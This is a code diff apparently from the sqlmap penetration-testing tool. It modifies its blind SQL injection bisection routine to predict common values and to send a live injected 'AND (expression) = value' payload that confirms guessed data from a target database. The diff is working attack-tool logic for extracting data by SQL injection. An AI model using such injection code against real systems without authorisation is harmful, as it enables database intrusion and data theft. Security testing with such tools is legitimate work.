3131from lib .core .common import dataToStdout
3232from lib .core .common import getCharset
3333from lib .core .common import getGoodSamaritanParameters
34+ from lib .core .common import getPartRun
3435from lib .core .common import replaceNewlineTabs
3536from lib .core .common import safeStringFormat
3637from lib .core .convert import urlencode
@@ -56,6 +57,8 @@ def bisection(payload, expression, length=None, charsetType=None, firstChar=None
5657
5758 asciiTbl = getCharset (charsetType )
5859
60+ kb .partRun = getPartRun () if conf .useCommonPrediction else None
61+
5962 if "LENGTH(" in expression or "LEN(" in expression :
6063 firstChar = 0
6164 elif conf .firstChar is not None and ( isinstance (conf .firstChar , int ) or ( isinstance (conf .firstChar , basestring ) and conf .firstChar .isdigit () ) ):
@@ -376,13 +379,13 @@ def downloadThread():
376379 if singleValue is None :
377380 val = getChar (index , predictedCharset , False ) if predictedCharset else None
378381 else :
379- #forgedPayload = safeStringFormat('AND (%s) = \'%s\'', (expressionUnescaped, singleValue))
380- #result = Request.queryPage(urlencode(forgedPayload) )
381- #if result:
382- # finalValue = singleValue
383- # break
384- pass
385-
382+ query = agent . prefixQuery ( " %s" % safeStringFormat ('AND (%s) = \' %s\' ' , (expressionUnescaped , singleValue ) ))
383+ query = agent . postfixQuery ( query )
384+ payload = agent . payload ( newValue = query )
385+ result = Request . queryPage ( urlencode ( payload ))
386+ if result :
387+ finalValue = singleValue
388+ break
386389 if not val :
387390 val = getChar (index , otherCharset )
388391 else :
0 commit comments